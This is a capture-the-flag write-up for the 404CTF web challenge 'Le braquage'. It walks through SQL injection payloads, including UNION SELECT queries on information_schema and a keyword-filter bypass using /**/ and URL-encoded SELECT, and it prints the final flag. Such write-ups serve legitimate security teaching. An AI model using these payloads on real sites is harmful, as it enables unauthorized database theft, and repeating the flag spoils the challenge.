Le braquage

Category: Web - Points: 874 - Difficulty : Facile - Solves : 376

Description: UTILISER SQLMAP SUR CE CHALLENGE-CI OU TOUT AUTRE CHALLENGE CONDUIRA A UN BAN Vous êtes sur une affaire de cambriolage. D’après vos informations, un criminel surnommé TITI a prévu une rencontre avec ses complices pour préparer son prochain casse. Heureusement, votre équipe est parvenu à trouver un site qu’ils utilisent. Ce site leur permet de communiquer et d’échanger des lieux de rendez-vous ainsi que des fausses identités. A vous d’exploiter cette base de données pour obtenir des informations sur le suspect et son opération : nom, prénom, adresse visée, date du casse, heure du casse, téléphone, mot de passe. Les différents morceaux de flag sont sous la forme : 404CTF{Nom},404CTF{Prénom},404CTF{Adresse},404CTF{Date},404CTF{Heure},404CTF{Téléphone},404CTF{Mdp}

Le flag final est la concaténation de tous les morceaux sans espace : 404CTF{NomPrénomTéléphoneAdresseDateHeureMdp

https://le-braquage.404ctf.fr

Solution: To solve this challenge you need to send SQL injection at the good places. On the website, there are 3 pages : mainPage

On the first page (Discussions) there are 2 inputs : discussion1

On the second page (Informations) there is 1 input : information1

And on the third page (Rencontres) there is 1 input : rencontre1

At first, we try to send '=' in all inputs to try to get infos : discussion1_flag rencontre1_flag1

We get 4 parts of the final flag.

Now we try to find the 3 last parts in the 2nd and 3rd page. We can start with the 2nd page : TITI ' UNION SELECT null, table_name FROM information_schema.tables # and get all tables name information1_1

TITI ' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name = "Users" # and we get all columns of the Users table information1_2

TITI ' UNION SELECT nom, prenom FROM Users # and we get the content of the Users table information1_flag

Now we have 6 parts of the final flag and we need to search the injection for the 3rd page : ' UNION SELECT null, null, table_name FROM information_schema.tables ;# and we get an error because we can't insert space into our injection : rencontre1_erreur1

So to bypass the space we replace them by /**/ : '/**/UNION/**/SELECT/**/null,/**/null,/**/table_name/**/FROM/**/information_schema.tables/**/;#. But now we get an error because we can't insert SELECT (in clear) into our injection : rencontre1_erreur2

So to bypass SELECT we replace them by %53%45%4c%45%43%54 who is the ASCII conversion of the word.

Now with these all bypasses we can start to find the flag : '/**/UNION/**/%53%45%4c%45%43%54/**/null,/**/null,/**/table_name/**/FROM/**/information_schema.tables/**/;# and get all tables name rencontre1_1

'/**/UNION/**/%53%45%4c%45%43%54/**/null,/**/null,/**/column_name/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/=/**/"Password";# and we get all columns of the Password table rencontre1_2

'/**/UNION/**/%53%45%4c%45%43%54/**/null,/**/id,/**/mdp/**/FROM/**/Password;# and we get the content of the Password table rencontre1_flag2

We have all parts of the flag and we can assemble them to get the final flag.

🚩 FLAG
 404CTF{VereuxUnGorfou014576945621ruedeskiwis2022-07-1401hDuMatinGorfousAuPouvoir}

Last updated

Was this helpful?